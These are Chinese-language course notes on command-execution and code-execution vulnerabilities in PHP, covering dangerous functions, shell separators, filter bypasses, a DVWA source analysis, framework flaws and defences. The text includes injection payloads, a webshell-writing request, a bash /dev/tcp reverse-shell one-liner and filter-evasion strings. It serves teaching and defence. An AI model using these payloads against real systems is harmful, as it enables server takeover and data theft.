本文根据深信服 SCSA-S 课程《命令执行》五节课件整理,讲命令执行的定义与条件、远程代码执行函数、系统命令执行函数、管道符与过滤绕过、DVWA 源码分析、常见框架漏洞与防御。靶场部分见《RCE 基础漏洞 CTFHub 实战 11 题》。

引言

命令执行漏洞指攻击者可以控制应用程序执行的系统命令或代码。按执行对象不同,通常分为两类:

  • 远程代码执行(Remote Code Execution,RCE):攻击者控制 eval()、assert() 等代码执行入口,执行任意 PHP 代码;
  • 系统命令执行(System Command Execution):攻击者控制 system()、exec() 等函数参数,执行操作系统命令。

两类漏洞的成因相同:用户输入进入了本应执行代码或命令的入口,且没有经过严格过滤。


一、命令执行漏洞概述

1.1 定义

课件给出的定义是:

命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。

原理是:程序应用有时需要调用执行系统命令的函数,例如 PHP 中的 system、exec、shell_exec、passthru、popen、proc_popen 等。当用户能控制这些函数的参数时,就可以把恶意系统命令拼接到正常命令中,形成命令执行攻击。

1.2 利用条件

命令执行漏洞需要同时满足两个条件:

  1. 用户能够控制函数的输入;
  2. 存在可以执行代码或系统命令的危险函数。

如果函数参数是固定值,或者用户输入被严格限制在白名单内,就不具备利用条件。

1.3 成因

课件总结了两点:

  • 开发人员编写源码时,没有针对可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行;
  • 命令注入攻击中,Web 服务器没有过滤类似 system、eval、exec 等函数,是该漏洞攻击成功的主要原因。

本质上,这是输入校验缺失与危险函数暴露共同作用的结果,而不是某一个函数单独的问题。

1.4 危害

命令执行漏洞的危害包括:

  • 继承 Web 服务程序的权限执行系统命令或读写文件;
  • 反弹 Shell;
  • 控制整个网站甚至服务器;
  • 进一步进行内网渗透。

危害程度取决于 Web 进程的运行权限。以 root 或 Administrator 运行时,攻击者可以直接控制服务器;以低权限用户运行时,攻击者仍需提权,但仍可读取应用配置、数据库凭证和业务数据。

1.5 常见场景

课件列出的常见场景:

  • Ping 主机:用户输入 IP,服务端拼接 ping 命令;
  • DNS 请求:用户输入域名,服务端调用 nslookup、dig 等命令;
  • Office 文档:文档转换、预览功能调用外部程序;
  • 框架缺陷:Spring、Struts2、模板引擎等存在表达式注入或代码执行。

这些场景的共同点是:业务需要调用外部命令或解释器,而用户输入参与了命令拼接。


二、远程代码执行

远程代码执行指攻击者控制 PHP 代码执行入口。课件列出的相关函数与语言结构包括:

入口 说明
eval() 把字符串作为 PHP 代码执行
assert() 断言,历史上可执行字符串
preg_replace() 使用 /e 修饰符时,替换内容会被当作 PHP 代码执行
call_user_func() 调用回调函数,回调和参数可控时可执行任意函数
$a($b) 可变函数,变量 $a 的值作为函数名调用

2.1 eval()

eval() 是语言结构,不是普通函数。它把参数字符串作为 PHP 代码解析执行。

脆弱代码:

<?php
$arg = $_GET['arg'];
eval($arg);
?>

请求:

?arg=phpinfo();

phpinfo() 会被执行。如果参数可控,攻击者可以执行任意 PHP 代码,包括读写文件、执行系统命令、连接数据库。

2.2 assert()

assert() 用于断言。在较早的 PHP 版本中,传入字符串时会被当作 PHP 代码执行。不同版本的行为差异较大:

  • PHP 5:assert('phpinfo()') 可以执行;
  • PHP 7:assert() 成为语言结构,字符串参数的处理受到限制;
  • PHP 8:不再支持字符串形式的代码执行。

因此,assert() 的利用需要结合具体 PHP 版本判断。课程中将其列为远程代码执行入口,是因为历史版本中存在字符串执行行为。

2.3 preg_replace() 与 /e 修饰符

preg_replace() 用于正则替换。当 pattern 中存在 /e 修饰符时,replacement 会被当作 PHP 代码执行。

示例:

<?php
$pattern = '/test/e';
$replacement = $_GET['code'];
preg_replace($pattern, $replacement, 'test');
?>

/e 修饰符在 PHP 5.5.0 中被废弃,在 PHP 7.0.0 中被移除。现代 PHP 环境中一般不再存在该利用方式,但历史代码和老系统仍可能遇到。

2.4 call_user_func()

call_user_func() 调用回调函数:

<?php
$func = $_GET['func'];
$arg = $_GET['arg'];
call_user_func($func, $arg);
?>

如果 func 和 arg 都可控,攻击者可以调用任意函数,例如 system、exec、file_get_contents。这类漏洞的本质是回调函数与参数同时暴露给用户。

2.5 可变函数 $a($b)

PHP 支持可变函数:变量的值作为函数名。

<?php
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);
?>

请求 ?a=system&b=id 时,等价于执行 system('id')。可变函数本身是语言特性,问题在于函数名和参数都来自用户输入。

2.6 远程代码执行的利用

代码执行入口可以直接调用 PHP 文件系统函数或系统命令函数。课件的利用示例包括:

  • 读取文件:
?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
  • 获取当前文件绝对路径:
?a=print(__FILE__);
  • 写入文件:
?a=var_dump(file_put_contents($_POST[1], $_POST[2]));

配合 POST 参数 1=shell.php&2=<?php phpinfo();?>,可以向指定路径写入 PHP 文件。

  • 执行系统命令:
?a=system('whoami');

代码执行与系统命令执行的边界并不绝对:代码执行可以调用 system() 等函数,系统命令执行也可以反过来写入 PHP 文件,二者经常组合使用。


三、系统命令执行

系统命令执行指攻击者控制 system()、exec() 等函数的参数,让操作系统执行任意命令。

3.1 常见函数

函数 行为
system() 执行命令并直接输出结果,返回最后一行输出
exec() 执行命令,返回最后一行,完整输出存入数组参数
shell_exec() 通过 Shell 执行命令,以字符串形式返回完整输出
passthru() 执行命令并直接输出二进制数据,适合处理图片、压缩包等
popen() 打开进程管道,返回文件指针,需配合 fread() 读取
反引号 ` 执行命令并返回输出,等价于 shell_exec()

这些函数的共同点是:参数会交给 Shell 解释执行。只要参数中包含 Shell 元字符,就可能拼接出额外命令。

3.2 脆弱代码

<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>

正常请求:

?ip=127.0.0.1

实际执行:

Terminal window
ping -c 4 127.0.0.1

攻击者传入:

?ip=127.0.0.1; id

实际执行:

Terminal window
ping -c 4 127.0.0.1; id

; 是 Shell 的命令分隔符,ping 执行完后继续执行 id。

3.3 利用方式

系统命令执行后,攻击者可以:

  • 查看当前用户与权限:whoami、id;
  • 列目录:ls、dir;
  • 读文件:cat、type、tail、more;
  • 写文件:echo "<?php phpinfo();?>" > shell.php;
  • 反弹 Shell:bash -i >& /dev/tcp/ip/port 0>&1;
  • 下载文件:wget、curl;
  • 横向移动:探测内网、读取凭证。

Windows 与 Linux 的命令不同:

操作 Linux Windows
列目录 ls、ls -la dir
读文件 cat、tail、head type、more
当前路径 pwd cd
当前用户 whoami、id whoami
写文件 echo ... > file echo ... > file

四、管道符、命令拼接与过滤绕过

4.1 Linux 常见符号

符号 行为
; 顺序执行,前一条结束后执行后一条
| 管道,前一条的输出作为后一条的输入
|| 前一条失败时才执行后一条
& 把前一条放到后台执行,同时执行后一条
&& 前一条成功时才执行后一条
换行 等价于命令分隔符
$()、反引号 命令替换,把执行结果嵌入当前命令

示例:

Terminal window
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 || id
127.0.0.1 | id

4.2 Windows 常见符号

符号 行为
& 顺序执行多条命令,前一条失败也继续
&& 前一条成功才执行后一条
| 管道,执行后一条命令
|| 前一条失败才执行后一条

Windows 下常见的测试命令是 whoami、dir、type、ipconfig。

4.3 过滤绕过的层次

命令执行绕过需要区分三个处理层次:

  1. URL 解码:Web 服务器或框架把 %0a、%09、%20 还原为换行、制表符、空格;
  2. PHP 过滤:代码中的 preg_match、str_replace 等对参数做黑名单替换;
  3. Shell 解析:最终交给 /bin/sh 或 cmd.exe 解释执行。

绕过方法通常利用这三层之间的差异。

空格过滤

  • ${IFS}:Shell 的内部字段分隔符,展开为空白;
  • $IFS:同上,但后面不能紧跟字母数字;
  • %09:URL 编码的制表符,可作为分隔符;
  • <:输入重定向,例如 cat<flag;
  • {cat,flag}:花括号展开,部分 Shell 支持。

示例:

Terminal window
cat${IFS}flag
cat<flag

关键字过滤

  • 通配符:fla?、fla*;
  • 引号拼接:c'a't、"c"at;
  • 反斜杠:ca\t;
  • 变量拼接:a=fl;b=ag;cat $a$b;
  • 替代命令:tac、tail、more、less、head、nl、od。

分隔符过滤

  • %0a:换行符,可作为命令分隔符;
  • %0d:回车符;
  • %09:制表符,可作为空白;
  • %20:空格。

目录分隔符过滤

  • 使用 cd 进入目录,再用通配符匹配文件名,避免在参数中出现 /;
  • 例如 cd flag_is_here; cat flag*。

运算符过滤

  • 使用 < 重定向代替管道;
  • 使用 base64 读取文件,再在本地解码;
  • 使用 $() 或反引号进行命令替换。

这些方法不是固定公式,需要根据目标过滤规则调整。核心思路是:确认哪些字符被过滤、哪些字符会被解码、最终 Shell 如何解析。


五、DVWA 命令注入源码分析

DVWA(Damn Vulnerable Web Application)是一个用于安全练习的 PHP/MySQL 应用。课件用它的 Command Injection 模块说明黑名单过滤的局限性。

5.1 Low 级别

Low 级别没有对 ip 参数做过滤,直接把用户输入拼接到 ping 命令:

$cmd = shell_exec('ping -c 4 ' . $_POST['ip']);

输入:

127.0.0.1 && whoami

&& 使 whoami 在前一条命令成功后执行。也可以使用 ;、| 等符号。

5.2 Medium 级别

Medium 级别使用黑名单替换:

$ip = str_replace(array('&&', ';'), '', $_POST['ip']);

它删除了 && 和 ;,但仍然存在绕过方式:

  • & 没有被过滤,可以直接使用;
  • &;& 经过替换后,; 被删除,剩下 &&,仍可拼接命令;
  • | 没有被过滤。

示例:

127.0.0.1&;&ipconfig

这说明只删除部分字符串的黑名单不可靠:替换操作可能重新组合出新的危险字符。

5.3 High 级别

High 级别使用更严格的黑名单,但替换逻辑仍有缺陷:

$ip = str_replace('| ', '', $_POST['ip']);

它删除的是“竖线 + 空格”,如果输入中没有空格,| 会保留:

127.0.0.1|net user

黑名单看似覆盖了常见字符,但只要替换规则与实际输入形式不完全匹配,就可能被绕过。

5.4 结论

DVWA 的三个级别说明:

  1. 黑名单很难覆盖所有 Shell 元字符和组合形式;
  2. 字符串替换可能产生新的危险组合;
  3. 防御应使用白名单校验,而不是依赖黑名单。

六、常见框架与模板注入

命令执行不只出现在自定义函数中,框架和模板引擎也可能提供代码执行入口。

6.1 Spring WebFlow(CVE-2017-4971)

Spring WebFlow 是用于开发流程化应用的框架,例如购物流程。2.4.x 版本中,如果攻击者控制了数据绑定时的 field,可以触发 SpEL 表达式注入,最终执行任意命令。

这类漏洞的入口是数据绑定:用户提交的字段名或字段值进入了表达式解析器,而不是普通字符串处理。

6.2 服务端模板注入(SSTI)

Flask 使用 Jinja2 作为模板引擎。如果应用把用户输入直接拼接进模板,而不是作为变量传入,就可能产生服务端模板注入(Server-Side Template Injection,SSTI)。

典型检测方式是提交模板表达式,例如:

{{7*7}}

如果页面返回 49,说明表达式被模板引擎执行。进一步利用可以读取配置、执行命令,具体取决于模板引擎的能力和沙箱配置。

6.3 Struts2 S2-053

S2-053 影响 Struts 2.0.1 至 2.3.33、2.5 至 2.5.10。Struts2 会对某些标签属性的值进行二次表达式解析:

  • 使用 Freemarker 模板引擎时,用户输入先被 Freemarker 解析;
  • 解析结果再次被 OGNL 解析;
  • 两次解析使原本的普通字符串变成 OGNL 表达式,导致远程代码执行。

这类漏洞的根因是表达式解析层次过多:同一个输入被多个解析器处理,安全边界被削弱。


七、防御

7.1 避免调用外部命令

优先使用语言内置函数或库完成功能:

  • 网络探测使用编程语言的网络库,而不是拼接 ping;
  • 文件操作使用文件 API,而不是 ls、cat;
  • 图片处理使用图像库,而不是调用 ImageMagick 命令行。

如果业务必须调用外部命令,应使用参数数组形式,避免经过 Shell:

$process = proc_open(['ping', '-c', '4', $ip], $descriptors, $pipes);

数组形式不会把参数交给 Shell 解析,;、|、&& 等字符不会被当作命令分隔符。

7.2 转义与白名单

PHP 提供两个转义函数:

  • escapeshellarg():把参数作为单个 Shell 参数转义;
  • escapeshellcmd():转义 Shell 元字符。

示例:

$ip = $_GET['ip'];
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
exit('Invalid IP');
}
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
system($cmd);

白名单校验优先于转义:如果参数只能是 IP 地址,就用 filter_var 验证;如果参数只能是固定选项,就用数组映射。

7.3 PHP 配置

  • disable_functions:禁用 system、exec、shell_exec、passthru、popen、proc_open 等函数;
  • open_basedir:限制 PHP 可访问的目录;
  • safe_mode 已在 PHP 5.4.0 移除,safe_mode_exec_dir 仅适用于更早版本;
  • 关闭不必要的扩展和危险函数。

disable_functions 不是完整防御:攻击者可能通过 LD_PRELOAD、putenv、mail、imap 等方式绕过。它应与其他措施配合使用。

7.4 权限与隔离

  • Web 进程以低权限用户运行;
  • 使用容器、沙箱、SELinux、AppArmor 限制命令执行范围;
  • 禁止 Web 进程访问敏感目录和凭证;
  • 限制出网,降低反弹 Shell 和横向移动的成功率。

7.5 代码执行入口的防御

  • 不使用 eval()、assert() 处理用户输入;
  • 不使用带 /e 修饰符的 preg_replace();
  • 不使用用户输入作为 call_user_func() 的回调或参数;
  • 不使用可变函数调用用户指定的函数;
  • 模板引擎开启沙箱,禁止执行任意表达式。

7.6 框架与依赖

  • 及时升级 Spring、Struts2、Flask 等框架;
  • 关注框架安全公告;
  • 不在模板中拼接用户输入;
  • 对数据绑定字段做白名单限制。

7.7 监控与审计

  • 记录命令执行相关函数的调用;
  • 监控异常子进程、出站连接和敏感文件访问;
  • 对 Web 目录写入、/tmp 执行等行为告警;
  • 定期进行代码审计和依赖扫描。

八、总结

命令执行漏洞的核心是用户输入进入代码或命令执行入口。需要掌握:

  1. 两类命令执行:远程代码执行与系统命令执行;
  2. 危险入口:eval、assert、preg_replace /e、call_user_func、可变函数,以及 system、exec、shell_exec、passthru、popen、反引号;
  3. 拼接符号:Linux 的 ;、|、||、&、&&、换行、命令替换;Windows 的 &、&&、|、||;
  4. 过滤绕过:空格、关键字、分隔符、目录分隔符、运算符,以及 URL 解码、PHP 过滤、Shell 解析三层差异;
  5. 防御:避免外部命令、参数数组、escapeshellarg、白名单、disable_functions、低权限、容器隔离、框架升级。

命令执行漏洞的利用通常需要结合目标环境:操作系统、Shell、PHP 版本、过滤规则、Web 进程权限。测试时应逐项确认,而不是直接套用固定 payload。